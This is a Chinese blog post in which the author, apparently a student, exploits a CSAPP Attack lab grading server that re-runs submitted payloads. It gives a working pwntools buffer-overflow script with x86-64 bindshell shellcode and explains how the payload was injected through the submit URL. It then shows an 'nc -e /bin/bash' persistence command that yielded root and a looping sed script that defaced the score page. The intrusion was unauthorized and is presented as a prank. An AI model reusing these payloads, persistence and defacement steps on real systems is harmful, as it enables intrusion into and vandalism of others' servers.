CSAPP系列实验都很不错,歪果仁果然有点东西,其中Attack实验就是缓冲区溢出,不过作为打CTF的怎么能满足于得分……整了半天终于成功将评分服务器getshell了(大雾

前期准备

我们先看看这个lab是个啥,给了两个程序然后需要overflow控制RIP,总共大概就是基本覆盖、ret2shellcode、ROP三种,且程序一个保护都没开……
其中lab2吸引了我的注意,通过栈溢出ret2shellcode从而调用函数,且NX是关闭的,这就有点意思了。关键的一点是这个lab你每做完一个可以在服务器网页上看到分数,结合之前CSAPP:Bomb的lab分析可以知道它肯定会将payload发到服务器二次验证,不可能让你patch就能得分的……但是与之前定死的答案不同,这次shellcode每个人生成的可不一定一样,而且助教特意解释了正确的payload肯定可以过,那就只有一种解释了,服务器会再次运行你的payload,根据返回输出判断你的答案是否正确!
于是这就变成了一道PWN题……

流量分析

通过抓包我们可以发现当你成功一个的时候程序会向服务器发出一个GET请求

http://x.x.x.x:xxxx/submit?user=xxx&course=xxx&result=6%3APASS%3A0xxxx%3Actarget%3A1%3A[payload]

然后服务器会再运行一遍看看结果,所以我们只要控制payload就行,注意这里返回总是OK,程序会在后台跑。

ret2shellcode

首先我试了一个bash的shellcode,发现可以弹回来但是拿不到交互,但是起码证明我们的思路是没问题的,接下来就是尝试shellcode了……
这里要注意是x64的,并且由于我们无法拿到交互所以不能直接运行bash,而是要反弹shell,网上找一个:https://packetstormsecurity.com/files/153216/Linux-x86_64-TCP-4444-Bindshell-Shellcode.html
修改之后本地就能通过overflow nc打到shell了,默认监听4444端口
PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# coding=utf8
from pwn import *

# open remote
sh = process('./ctarget')

# shellcode
shellcode = "\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x97\x48\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x48\x31\xd2\x6a\x31\x58\x54\x5e\x48\x83\xc2\x10\x0f\x05\x48\x31\xf6\x6a\x32\x58\x48\xff\xc6\x0f\x05\x6a\x2b\x58\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\xff\xcc\x48\x89\xe2\x0f\x05\x49\x92\x6a\x03\x58\x50\x0f\x05\x49\x87\xfa\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\xe0\xf6\x31\xc0\x04\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"

# stack overflow
success_addr = 0x55629f48
pattern = 0x14

payload = 'a' * pattern + 'bbbb' + \
p64(success_addr) + shellcode

print payload

lin = ['%02X' % ord(i) for i in payload]
print("+".join(lin))

# go
sh.sendline(payload)
sh.interactive()

为了方便起见我打印出了payload复制粘到url后面就行了。

权限维持

原先我担心防火墙默认动作是drop或者跑在docker里,这样的话就需要reverse shell,不过我们运气不错没碰到防火墙……nc就能直接连了。
然而我们发现shell连接很短暂几秒后就refuse了,猜想可能是服务端限制了运行时间,大概在5-10s左右,因此我们需要权限维持。很明显的肯定是服务器kill掉了我们的父进程导致连接断开,所以简单的方法就是再弹一个shell出来但是是在后台运行的。
很不幸的是lab服务是跑在实机上的,所以我们竟然还有nc可以用emmmm……
我们在能连的几秒钟内输入

nohup nc -vlp 4445 -e /bin/bash &

然后连到4445端口就成功了……还是root权限emmm>_<

留下爪印= =

既然不搞什么破坏性的东西,我们就在score界面留个爪印吧,翻了翻目录发现这个server会用脚本更新网页,直接改会被删掉,而要修改脚本需要先掐掉这个进程……不过看上去要跑起来还是挺复杂的就不这么干了我们换个方法。
既然每隔20s就更新一次那么我们就可以写个脚本每隔10s向文件头加上我们的爪印,例如:

1
2
3
4
5
6
#/bin/bash
while :
do
sed -i '1i\getshell by RainHurt, whoami=root RIP~' score.html
sleep 10
done

然后

nohup ./rainhurt.sh &

一个小小的礼物就完成辽:)
shell.png

总结

虽然不是主要搞pwn的,但是基本的一些还是会的23333~不过作为SE的主服务器没有防火墙也不跑docker似乎心也太大了……